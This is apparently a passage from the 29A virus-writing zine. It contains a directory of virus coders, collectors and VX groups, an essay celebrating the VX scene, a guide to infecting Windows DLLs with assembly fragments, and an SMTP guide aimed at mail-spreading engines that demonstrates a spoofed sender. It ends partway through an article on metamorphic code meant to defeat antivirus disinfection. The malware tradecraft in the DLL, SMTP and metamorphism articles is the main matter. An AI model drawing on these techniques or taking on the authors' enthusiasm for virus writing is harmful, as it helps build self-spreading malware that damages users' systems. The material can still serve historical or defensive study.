Virus coders -----------Assembler Head: http://www.coderz.net/asmhead BeLiAL: http://home.foni.net/~belial/ Benny: http://benny29a.cjb.net Bhunji: http://home.swipnet.se/bhunji/ Billy Belcebu: http://beautifulpeople.cjb.net/ Black Jack: http://blackjackvx.cjb.net/ Bumblebee: http://www.bbbee.cjb.net CyberShadow: http://www.coderz.net/ABS/ Darkman: http://www.coderz.net/darkman Dark Slayer: http://www.geocities.com/SiliconValley/Code/3403/ (retired) Del_Armg0: http://www.delly.fr.st/ Duke: http://smf.chat.ru (also virus trader) (also SMF group site) Eddow: http://members.xoom.com/Eddow/index.html Evul: http://www.coderz.net/evul f0re: http://f0re.cjb.net/ FRiZER: http://frizer.tsx.org GigaByte: http://www.coderz.net/gigabyte GriYo: http://www.bi0.net Jackie Twoflowers: http://www.coderz.net/jackie Knowdeth: http://www.coderz.net/metaphase/knowdeth/ Lethal Mind: http://www.coderz.net/lethalmind/ (retired) LiFEwiRE: http://www.coderz.net/lifewire/ Lord Julus: http://lordjulus.cjb.net Mandragore: http://www.multimania.com/mdrg/ moebius: http://www.coderz.net/moebius/ (retired?) Mister Sandman: http://www.coderz.net//viruscafe/ Nigromant: http://www.fortunecity.com/skyscraper/ethernet/94/neurotic.htm

nucleii: http://www.coderz.net/nucleii Paddingx: http://paddingx.cjb.net/ Prizzy: http://prizzy.cjb.net/ Psyclone X: http://macros.gq.nu/ Radix16: http://www.volny.cz/radix16/ Raid: http://www.coderz.net/Raid Rajaat: http://www.shadowvx.com/rajaat Renegade: http://www.geocities.com/TimesSquare/Hangar/6434/ (retired) R-E-V: http://www.coderz.net/rev/ SMOOTHiE: http://SMOOTHiE.gq.nu/ Snakebyte: http://www.coderz.net/Snakebyte T-2000: http://www.immortalriot.cjb.net The Spy: http://adult.dencity.com/virii/ The Walrus: http://www.walrus.8k.com/ The Wizard: http://www.geocities.com/Area51/Dimension/8145/ Toro: http://www.shadowvx.com/toro/ Ultras: http://www.coderz.net/ultras VicodinES: http://skyscraper.fortunecity.com/tft/108/start.html (retired) VxFaeRie: http://www.coderz.net/vxf Wintermute: http://personal5.iddeo.es/wintrmute/indice.htm Yello: http://www.yello.8k.com/ ZeMacroKiller98: http://www.crosswinds.net/~zemacrokiller98/index.htm Z0MBiE: http://z0mbie.cjb.net/ Zulu: http://www.coderz.net/zulu (also virus trader) (also Immortal Riot site)

Virus Collectors ---------------Algol: http://www.geocities.com/algol_p/ Angus Thermopyle: http://members.tripod.com/thermopyle/ (retired) Apoc: http://aappoocc.virtualave.net BaidareW: http://www.free-hosting.lt/virii/ Black Cat: http://www.shadowvx.com/blackcat/

Basket: http://strony.wp.pl/wp/polish_basketcase Buddy Music: http://welcome.to/BuddyMusic ByteSurgeon: http://www.geocities.com/ByteSurgeon/ Cyphonix: http://www.geocities.com/cyphonix/ Daniel: http://www.coderz.net/daniel Furkon: http://members.xoom.com/xoraxax/ (retired) GGNome: http://ggnome.cjb.net/ (retired) HomeSlice: http://www.coderz.net/homeslice Newton: http://www.coderz.net/newton/ PastolVX: http://www.coderz.net/pastolvx Perikles: http://jupiter.spaceports.com/~perikles Phage: http://www.shadowvx.com/phage/ Quilb: http://logs.quilb.net/ raenius: http://www.shadowvx.com/raenius RDX_: http://www.coderz.net/RDX_/ Roadkil: http://www.coderz.net/Roadkil/ Shadow Seeker: http://www.virusexchange.org/ Specter: http://www.shadowvx.com/specter/ Sph1nx: http://sph1nx.cjb.net/ Staggle: http://www.shadowvx.com/staggle/ StRaMoNiUm: http://neptune.spaceports.com/~stram/ (retired) Tally: http://www.coderz.net/tally/ VEiN: http://home.wirefire.com/nathan/ Virax: http://welcome.to/Virax VirusBuster: http://vtc.cjb.net VirusP: http://www.shadowvx.com/virusp/ vxcod3: http://www.shadowvx.com/vxcod3 Worf: http://moon.zlin.vutbr.cz/~mimi/frame.html Zordhak: http://www.coderz.net/zordhak/

VX Groups ---------

* (Asterix): http://virus.cyberspace.sk/ 29A: http://www.coderz.net/29A astigmatiZm: http://astigmatizm.cjb.net/ CodeBreakers: http://codebreakers.cjb.net (disbanded?) Feathered Serpents: http://fly.to/serpents.org (disbanded?) IKX: http://www.ikx4ever.org Internet Virii Collecting Group: http://www.coderz.net/ivcg LineZer0 VX Team: http://www.coderz.net/lz0vx/start.htm MATRiX: http://www.coderz.net/matrix/ Metaphase VX Team: http://www.coderz.net/metaphase (disbanded?) Misdirected Youth: http://myallstar.cjb.net/ Nomercy Virus Team: http://welcome.to/nomercy.com (disbanded?) Shadow Dancer Team: http://coderz.net/ShadowDancer/ Shadow Virus Group: http://www.shadowvx.com Silicium Revolte: http://siliciumrevolte.cjb.net/ (disbanded?) Stealth Group: http://www.redline.ru/~one (disbanded?) Sign Of Scream: http://www.geocities.com/SiliconValley/Garage/9398 (disbanded?) TeaM NeCRoSiS: http://members.nbci.com/TeamNecrosis/ Zer0Gravity Team: http://www.coderz.net/3c/

Virus related sites ------------------4Q: http://shadowvx.com/4Q Alta-Virus: http://altavirus.cjb.net/ Association of Satanic Maniacs: http://kickme.to/asm/ Chili: http://www.crosswinds.net/~chili/ Collection Maker Home Page: http://viry.bonusweb.cz/cm/index.html darkbyte: http://www.darkbyte1.cjb.net/ EB Virus Labos 2K: http://virlab.cjb.net/ GeneCode: http://members.xoom.com/genecode/cgi/ Hex Files: http://come.to/hexfiles Lord Arz: http://lordarz.webprovider.com/

Midnyte: http://www.coderz.net/midnyte/ Mist: http://www.misttsim.org/ My Fantasy Viruses Trading Centre: http://www.virusexpert.i-p.com/Trading.html Pascal Virus Team: http://www.gospeller.newmail.ru/ Paul Zest: http://shadowvx.com/PZest PhreakX: http://www.vxnews.8m.com/ Pinoy Virus Writers: http://hackers.b3.nu/ Recoder: http://www.halyava.ru/recoder Siberian Bears Virus Club: http://sbvc.al.ru/ Slumdung: http://biocd.cjb.net/ Snake Layer: http://www.geocities.com/SiliconValley/Foothills/4784/ Spyda: http://www.coderz.net/spyda/ The Zoo: http://thezoo.dirtyhosting.com/ Top Device: http://topdev.cjb.net/ Undernet #virus: http://www.coderz.net/virus/ Undernet #vxers: http://vxers.rvx.net Viral Hazard Crew: http://vhc.chat.ru/ Virii Argentina: http://www.virii.com.ar/ Virus Brasil: http://www.virusbrasil.8m.com Virus Quarantine: http://www.geocities.com/Vienna/Opera/3503/virusq/ Virus Sorting New Generation: http://www.shadowvx.com/vsng VX Heavens: http://vx.netlux.org/ VX India: http://www.vxi.cjb.net/ VX News: http://www.coderz.net/vxnews/ Yanush Milovski: http://yanush.cjb.net/

Final note: If your site is not listed and you would like it's present on next 29A issue send an email to darknode@oninet.es informing about your site.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Generally about VX scene ³ ³ (from the psychedelic point of view) ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ by Benny/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Thanx goez to ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Timothy Leary, The Beat generation, Skag and whole sixties yearz for giving me inspiration about the sence of the life. Thank god for all psychedelic drugz he gave us...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Fux goez to ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Idiotic human beingz that can't understand that they are NOT the center of the universe. To that ppl that keep their mind closed and absolutelly don't want to accept other'z opinionz and basic rightz. If you want to stay dumb for the rest of your life then continue, do it! But don't touch my right - to do whatever I want to do with myself - even with my brain, which you can NOT and will NOT ever control... Fuck you!

ÚÄÄÄÄÄÄÄ¿ ³ Intro ³ ÀÄÄÄÄÄÄÄÙ Another stoned article about vx scene? Yep, the second one :-) To beginnerz I still have something to say. I really l0ve vx scene, becoz it bringz to my life many happy momentz...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ What'sa go? ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ In this capitalistic world where the "rich" is everyone who has money, "smart" who has white skin and lives in USA and "weird" and prosecuted the one who does not agree with this kinda "humanity" is unbelieveable that there can exist any other world, where the money, color of skin and nationality does not mean anything... Nothing can be perfect. Becoz of the differencez in thinking of ppl, I still hope, but I already don't believe that such world can exist. The idea of perfect communism. The idea all ppl would do what they like, they would take what they would need. They would be happy, the destiny of individual would be in individuals handz... the anarchy. In our current conditions, it's impossible. Unfortunately. Or not? I'm human from blood and bonez. Like everybody. When I entered VX scene, I was mentaly young. I had many expectationz and ideaz of many thingz. But like the life was going on, I changed many pointz of viewz... many ideaz. I started to think about the sense of life. Sense of life is imho not about having money, having a well payed job, expensive car and to be a member of yacht club. The sense of life is to make the life itself happy to you. Everything is relative

from the viewpoint which you are looking from... I believe the world is personal thing. Everybody percepts the world another way... if you will do what you like, the world became better. Better for you. Maybe you will say "better for you, but not better for otherz". False. What is the universe? What is the world? What is wrong and what is right? It's indiviual. If you like to code viruses and you don't cause damages to otherz, if it is your fun and if you are happy when you code viruses, there's no better thing to do than continue with it. If you like to help other ppl, if you will happy when you are doing it, then do it. After all, when you will lay on the bed of death, "noone" will ask you how much money have you earned, how many people you pushed yer own ideaz or how many children have you made. The "noone" will ask you if you think you lived well or not. Finally, like the life goes on, I'm thinking about the past, about the presence and the future... I've found out that the best I can do is do what I like to do. The world will change to better if you will change to better... Becoz what is world? The world is what you can see... And if you will become happy, if you will do what you really, but really like to do, the world will be better. Sometimez, people can't find the real sense of life becoz they have no choicez. Some ppl, working in some big company, have the sense of life to wake up early, go to work, then to pub and to home. Every day the same. Do you think they are happy? I don't think so. But that's their problem... if they won't find out that something is wrong, they won't ever find the real sense of life. But if someone thinks that something is wrong with them, it's the start of big journey. Don't become lost existence. My advice is: explore you own mind. Open your mind to yourself. Think about yourself. Find what you like to do, becoz you live here only once, the work is not everything. The world will be the same how you will make it. Try to be happy from little thingz... be happy with yourself. Trust yourself. Love yourself (but don't be egoist). But you have to mean it seriously, truely and you have to believe it from your heart. Do the right thingz - do what you like to do, do what makes you happy, coz if you will be happy with your life, the world will be happy with you...

My own, happy world, where I am exactly the one who I really am, is the VX scene. The coding of artificial life. Being with real friendz and make the real thingz. And which is your own happy world?

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ # Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿ @ benny_29a@privacyx.com ³ @ http://benny29a.cjb.net ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Considerations Infecting 32bits Libraries For Windows ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ by Bumblebee/29a

Introduction ÄÄÄÄÄÄÄÄÄÄÄÄ People thinks PE DLL files are the same than PE EXE files, but this is not 100% right. The format it's the same, but not the way the files works. I've noticed that coding DLL infectors ;) This is a little article that shows you some tips you must take into account while infecting this kind of PE files.

What is a DLL? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In first place don't think DLL are only files with the DLL extension. In your system there are different extensions that hides DLLs: CPL, AX, ACM, ... Let me hack this little description of DLLs from the Win32 SDK: ' In Microsoft Windows, dynamic-link libraries (DLL) are modules that contain functions and data. A DLL is loaded at runtime by its calling modules (.EXE or DLL). When a DLL is loaded, it is mapped into the address space of the calling process. DLLs can define two kinds of functions: exported and internal. The exported functions can be called by other modules. Internal functions can only be called from within the DLL where they are defined. Although DLLs can export data, its data is usually only used by its functions. DLLs provide a way to modularize applications so that functionality can be updated and reused more easilly. They also help reduce memory overhead when several applications use the same functionality at the same time, because although each application gets its own copy of the data, they can share the code. ' This description gives us some points we must analize: . The DLL it's loaded in the address space of the calling process. . Several applications use the same funcionality at the same time. . They can share code.

Considerations ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The first point we get from the description say us the DLL will be relocated very often. We must think this will happen EVER. So we cannot rely in jumps to DLLEP (host entry point) to return control to infected program. We need to relocate this address. Nice way to do it could be: lea sub add esi,virusBegin+ebp esi,dword ptr [calculatedVirusBegin+ebp] dword ptr [DLLEP+ebp],esi

virusBegin -> where the virus starts to run calculatedVirusBegin -> EP calculated for the virus in the infection process. DLLEP -> old entry point Let's imagine we infect a DLL with image base 70000000h and the DLLEP 7000d000h (Entry Point+Image Base). We put our virus at the end of the last section and its RVA is 7001e000h. We patch the header and put the entry point 0001e000h. At this point we save our calculated EP and the old DLLEP (7001e000h and 7000d000h). Later when this DLL is executed our virus does it's work and need to return to the original code. But we cannot rely the DLL it's loaded at 70000000h so we cannot jump to 7000d000h (old EP). Now the previous code rules. You get your current EP by the way of the delta offset (into ebp in the example). Then you sub the supposed virus EP (7001e000h) and then you get the displacement of the DLLEP. This is simple and could be done in several ways. But this first point gives us more things to think in. The some things from the caller environment: DLL uses

. The work directory: useful to find new files to infect. . The heap and the stack: this is a great problem 'cause you NEED to be very careful with the use of the stack. The heap is not a problem, but the stack could be a nightmare. Suppose a process loads 5 DLL and all are infected. If the virus uses 100h bytes of stack... 500h bytes are used by the process. You must be as light as possible with stack while infecting DLLs. Now let's go into second point. The fact that several applications can use the same DLL requires the DLL has a way to manage that work. The DLLEP has the following spezial structure: BOOL WINAPI DllEntryPoint( HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpvReserved) HINSTANCE hinstDLL This is a handle to the DLL. DWORD fdwReason This is a flag that shows the DLL why DLLEP is called. This is a very important point. Indicates one of the following: . . . . A process is attaching the DLL to it's address space. The process is creating a new thread. A thread is exiting cleanly. A process is detaching the DLL.

LPVOID lpvReserved Indicates some parametres to DLL initialization and cleanup. As you can see fdwReason is very important and show us a very, very important point: the DLLEP could be (and it will be) called more than once. You must take this into account. Your virus will be called more than once and this could be very fucking in encrypted viruses. In non-enc viruses there is no problem in 1st instance. But... what happens if your decrypts twice? hehehe. We could rid of this problem patching the virus to return host if it called more than once or verifing the virus is decrypted to not do it again. Make yourself. At last we have they can share code. No problem. There is not anythin you cannot check in section properties.

But experience gave me another points. It's possible a DLL has NO CODE! Imagine what happens if you infect a DLL that only has resurces ;) This is easy to check: just look code base is not equal to zero, as example.

Last words ÄÄÄÄÄÄÄÄÄÄ I feel DLL infection very useful and not very complex if you care of some points. And now with this article you can ;) Most programs does all its work by DLLs and the main EXE file it's only for the GUI. So DLL infection with per-process residency it's a great choice. I hope you've found this article interesting. The way of the bee

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Bumblebee's guide to Simple Mail Transfer Protocol ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INDEX 1. 2. 3. 4. 5. 6. Overview Syntaxis Client messages Server messages Practice Experience

1. Overview ÄÄÄÄÄÄÄÄÄÄÄ SMTP it's a protocol independent of the transmission subsystem and requires only a ordered communication channel. This mean we cannot use UDP but TCP. The SMTP defines a way of 'speak' with servers and send, receive and manage mail and mail sessions. This little guide explains how to send a mail using this protocol and some tricks you can use in the process. Most of this information can be found in the internet RFC821. Moreover there are some tips you can get only from the experience. This is a guide and the full information of the protocol is not avaliable but the needed to send a mail succesfuly.

2. Syntaxis ÄÄÄÄÄÄÄÄÄÄÄ Here follows a little brief of the different messages that can be used by the client and the server. Notice that is very important to put spaces only where required 'cause so old SMTP servers could have lame implementations and could be possible the server doesn't process the message. Client messages: [CRLF] [string] [host] [address] [multi-line] := := := := := pair of character equal to 0dh,0ah (0a0dh) vector of character without special chars string between < > '<bumblebee.net>' e-mail address between < > '<29a@bumblebee.net>' different strigs separated by [CRLF]

HELO [host][CRLF] MAIL FROM:[address][CRLF] RCPT TO:[address][CRLF] DATA[CRLF] [multi-line] [CRLF].[CRLF] QUIT[CRLF] Server responses: Some particular:

220<string>[CRLF] 250<string>[CRLF] 221<string>[CRLF] 251<string>[CRLF] 354<string>[CRLF]

:= := := := :=

Service ready Requested action okay Closing transmission Fowarding mail Start main input

Some general: (use * as wild card: char from 0 to 9) 4**<string>[CRLF] := Not error but fail. Retry. 5**<string>[CRLF] := Error. Better disconnect!

3. Client messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ HELO [host][CRLF] It's used to identify the client. This is not needed i all the servers but it's a good idea to include it. If you don't use it and it's needed the server will ask you for it when you perform other operation. Most of the servers will not check this host. Server ever knows the address of the client so include it and don't use a fake address. Server answers message 250 if all it's ok. MAIL FROM:[address][CRLF] This begins the 'send mail' process. The address required by MAIL FROM can be different from client address and host used by HELO. This is an interesting point 'cause you can put here the fake address you want, www.microsoft.com as example ;) Some servers only allows addressed of registered users in its domain, but this is not very frequent. This command will return message 250 if all it's ok. This command must be followed by RCPT TO and DATA. RCPT TO:[address][CRLF] This lets know the server the destination recipient of the mail. This address MUST be a right address if you want the mail arrives ;) If the servers supports fowarding the address doesn't needs to be owned by the server. This is in most cases. This command will return message 250 from server if fowarding not needed and 251 if the recipient account is not in the server. This command must be after MAIL FROM and must followed by DATA. DATA[CRLF] [multi-line] [CRLF].[CRLF] This is a non-simple message. Begins with a DATA command that lets know the server we are going to send the body of the mail. If all goes ok, previous right use of MAIL FROM and RCPT TO, the server answers 354 and waits the mail input. The mail input is a multi-line entry that must be finished with [CRLF] dot [CRLF], without spaces between [CRLF] and the dot. If all is ok the sever will answer 250. In most cases the mail is processed just now, but in other cases the server will wait until you send the QUIT message. QUIT[CRLF]

This is used to close the session with the server. This command ends with disconnection and with the 221 response. Notice that several servers wait until you close the session to process the mail to make sure you close the session in the right way, not closing the connection in dirty way.

4. Server messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Server messages could change from one to another implemetation of the protocol. There are servers that follow the reply code with a space and other use a minus sign. Moreover the strings that gives u a little description of the reason of the reply code could be in any lenguage and format. Don't rely on them. You must only take into account the three first bytes of the reply, thus the code that is in ASCII format. But remember the SMTP session is connection oriented 'cause the order of the messages is important. You must read the whole reply message until the [CRLF].

5. Practice ÄÄÄÄÄÄÄÄÄÄÄ The simplest way to practice this protocol and understand it is using a telnet client to connect with a SMTP server and send your first mail. The SMTP server are listening port 25. So you can connect by: telnet smtp.server.dom 25 Try with a server that has SMTP. Most web based mail systems have an address different of the one you use to send mail, so this could not be a good idea. But test it simply connecting to port 25. Try with mail.hotmail.com (not www.hotmail.com cause this is for HTTP), but i'm not sure if it will work. We are going to assume you connected without problems. Let's use C for client and S for server. This could be your session: S: 220 SMTP.SERVER.DOM Simple Mail Transfer Service Ready C: HELO <bumblebee.net> S: 250 Hello bumblebee.net! C: MAIL FROM:<bumblebee@microsoft.com> S: 250 OK C: RCPT TO:<support@avp.com> S: 251 User not local; will forward to support@avp.com C: S: C: C: C: S: DATA 354 Start mail input; end with <CRLF>.<CRLF> Hi AVP people! Are you Anti Viral Perverts? . 250 OK

C: QUIT S: 221 SMTP.SERVER.DOM Service closing transmission channel Simple, isn't it? Make different tests. Now you only your own engine! need to code

6. Experience ÄÄÄÄÄÄÄÄÄÄÄÄÄ There are some things the official documentation you must take into accout to avoid problems: doesn't say and

. The only one reliable part of the reply message of the server are the three first bytes in each reply. There is a rule that allows modern servers to have milti-line replies. That's using the - sign after the code of reply. Last line will not have it: S: 220-SMTP.SERVER.DOM Simple Mail Transfer Service Ready S: 220-That's an exaple of milti-line reply S: 220 Ready to rock! . In big networks could be that the SMTP server to send mails is not the same that for incoming messages. . The web based mail could give problems like the previous point. You can try to send a mail to bee@easymail.com by the connection to easymail.com. This is the simplest way 'cause with one address you have the server to send and the address for the destination. The problem could be there is not a 25 port avaliable listening for connections. . The server will fill some fields in the mail for you. These are usualy the fowarding address (if avaliable), the host of the client (not necessary equal to sender address), and in some cases the date if is not filled by the sender. . You need to implement a standard format for the mail if you want to send a file (hehehe). May be MIME 1.0 it's the best solution. Keep in mind the previous point filling this data. . Don't assume you are coding something 100% compatible, there is a implementation in a server waiting to fuck your client ;)

That's all. I hope you've found this article interesting and useful.

The way of the bee

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛ ÛÜÛ Ü Ü Û ÜÜÜÜÛÜÜ ÜÜÛ ÜÜÜ Û Ü Ü Û ÜÜÜ Û ÜÜÜ Û ÜÜÜ Û ÛÛÛ ÛÜ ÜÛ ÜÜÜÜÛ Ü Ü ÛÜÛ ÛÜÛ Û Û Û ÜÜÜÛÛÛÛ ÛÛÛ ÜÜÜ Û Û Û Û ÛÜÛ Û Ü ÜÜÛ ÜÜÜÜÛ ÜÜÜ ÛÛ ÛÛÜÜÜÜ Û Û Û ÛÜÛ ÛÜÛÜÛÛÛÜÛÜÜÜÜÜÛÛÛÜÛÛÛÜÛÛÛÜÛÜÛÛÛÜÛÜÜÜÜÜÛÜÛÜÜÜÛÜÛÛÛÛÛÜÛÛÛÜÛÜÜÜÛÜÜÜÜÜÛÜÛÛÛÜÛÜÛ ÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛÜÛ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ(at the boundary of perfection)ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄby Lord Julus / 29A ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (disclaimer) This article was written for educational purposes only. It represents a study on things which are already available and the author cannot be held responsible for the misuse of the information coming from this article. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÛßßßßßßßßßßßßÛÍ» Û Foreword Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ It's absolutely amazing, people how quickly the programming envolves. But what is really amazing is that things that we do now are actually available from the very beginning. It was just us who didn't see them from the start, or it was "them" that didn't let us get a grip on the information with fear about what we could do with it... The darn thing is that if you already have the information, well... there's just no more fun to play with so I guess none of the situations is ok. But for the moment here we are at a peak in Win32 programming. The tools have developed, the styles were defined and more and more tips do appear everyday. That's why I decided that something new is supposed to come from me too. But, then again, nothing is new on this planet. Everything was already invented and we simply find easier, better, faster, simpler ways of doing the same thing. We reinvent sometimes the wheel in order to make little by little reach perfection. Or sometimes we simply don't know that something was proven to be impossible and we manage to solve it (Einstein's theory on inventions). But, still, a wheel is still a wheel. What you use it for is more important... This time the object of my study is metamorphism. I think this is the next step after polymorphism, a step that will reach coding up at a new level: the highest peak of self mutating, the biggest step toward perfect stealth, the best highway to the assembly heaven... If there exists something like that... Personally I think there's only a programmer's hell, because I'm sure that Windows is not allowed in Heaven... I hope you will enjoy this article. If so, please drop me a note at my e-mail address: lordjulus@geocities.com. I am always ready to hear new infos and theories.

ÛßßßßßßßßßßÛÍ» Û Basics Û º ÛÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍͼ

Literaly, the term "metamorphism" is wrongly used in relation with code. By the definition given in the Webster, "metamorphism" means the following: "change in the mineralogical, structural, or textural composition of rocks under pressure, heat, chemical action, etc., which turns limestone into marble, granite into gneiss, etc." Metamorphose, however might be a better term: "to change in form or nature; transform; subject to or undergo metamorphosis or metamorphism SYN. transform." Anyway, as the term metamorphism was widely accepted and as long as it sounds much better, well, I will use this term to define the concept of self mutating code. So, the metamorphism is a very interesting concept that basically means the following: it means that the code modifies itself from one carrier to another. The difference between this feature and the polymorphism is obvious. Polymorphism means creating different looking decryptors that assure the lack of signatures in the body, while the metamorphism means modifying the code itself, the whole code. Of course, as one might expect, it is almost impossible to create a fully metamorphic code. I will not enter the details here, but if you don't believe me, try it out. A big part of this demo will have as purpose to show where the metamorphism should be used in order to be really useful. The main reason metamorphism is used is to protect the automatic attackers. As I said many times, it is less likely to being, especially a good programmer, but fooling the machine easier. Also, making it very difficult for the human to create attacker against your code is also one goal reached by metamorphism. code against fool a human is much more an automatic the use of

This is, let's say, closest to a paradigm. A paradigm means a change so important as it changes the concepts, the methods of working with the concept and the theory about the concept. When an anti-virus software is written and it succesfuly detects by the use of a concept, method and theory, it will be able to detect all future viruses that are based on the same concepts. Easy to understand. But once you modify all three aspects, the av software must be fully redesigned. Doing this might lead in lowering the eficiency in the approach regarding the old concepts also, because any new method has the ability of making old methods work worse than before. I will not continue this disertation here, but think about it... Let's think about the general disinfector. What does it need? It needs to know a few important values and that is all that it takes to disinfect the file: 1.The 2.The 3.The 4.The 5.The place of the malaware code decryption keys places decryption algorithm place of the original code (if moved) original entrypoint

We don't care about the decryption algorithm here so we will only check out the rest of the stuff. Basically all the above values are stored inside your code at a certain address. Things like these are most common: OldEip dd 0 ... mov dword ptr [ebp+OldEip], eax

The human will look in your code and when he finally locates and understands the above lines he will program his automatic code to look at the address of OldEip and get the value from there. There's no need for human interference when scanning for such a simple thing. Now the software has located the original eip of the infected program and can safely remove your hook just by restoring it. This is just a very simple way of disinfecting. How can we prevent such a thing, or how can we at least make it harder? This is explained by some lite metamorphism methods.

ÛßßßßßßßßßßßßÛÍ» Û Methods Û º ÛÜÜÜÜÜÜÜÜÜÜÜÜÛ º ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ Multiple locations method ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Let's imagine that you replace the above codings with this: OldEip1 dd 0 ... OldEip2 dd 0 ... OldEip3 dd 0 mov dword ptr [ebp+OldEip1], eax metamorph1 = $-4 Now, our metamorphic engine has to do the following thing: decide randomly which address to use, fill it with the right value, fill the other with random values and go at address ebp+metamorph1 and fill in the address of the needed value. Where does it lead? Everytime the virus propagates the place where the old entrypoint is stored will be different... And also, the instruction that accesses it will differ from generation to generation. I don't know if you realise the strength of this thing. Of course it is easily beatable by locating the access instruction itself and getting the address from there. But, think of this: Oldeip1 dd 0 ... Oldeip2 dd 0 ... ... codeaddress1 dd 0 ... codeaddress2 dd 0 ... ... mov dword ptr [ebp+OldEip1], eax ... mov dword ptr [ebp+codeaddress1], eax

Now, the two instructions both look like this when debugged:

mov [ebp+XXXXXXX], eax

Starting to get my point? Imagine you have 10 values you metamorph around the code, each having 10 possible places and each being accessed around 3 times, needed, and other 7 times just as junk... Do you realise how many generation should one person generate to understand what is the actual meaning of the code, and how hard would it be to locate the values needed for disinfection? You will say, no problem... if one can locate the metamorphic engine he can decipher your code... Think so? Read furthure on the implementation of the engine. Now let's check some other ways of using metamorphism.

The instruction modification ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ This is a little bit tricky and you have to learn a little about instruction lengths. It's not very hard, but you will have to create it by testing it many times under a debugger. Remember that here you are not generating a polymorphic decryptor (where you have an empty buffer and you can fill it downwards), but you are working in compiled code that has a definitive size and links all over. The idea is to modify a certain instruction so that it cannot be located easily. First step: instruction relocation For this you will need to save some space in different parts of your code and they should look somehow like a subroutine: place1 proc space1 db 20 dup(90h) ret place1 endp You can have, let's say, around 10 places metamorphic code. Whenever this instruction is to rearrange the call to it. Imagine for the above: call place1 ... place1 proc mov [ebp+OldEip1], eax ret place1 endp Now, if your random generator decides that the code should be metamorphized into another place (let's say place2) all that it'll need to do is move the instruction there and modify also the call to read "call place2" (check later for insights). This Think that instruction for each one is the first idea: your instruction can roam around the code. you can have let's say 15 places like that and 10 or more to metamorph. Your random number generator will choose a place and still you will have some left to fill with junk. for each part of be called you must

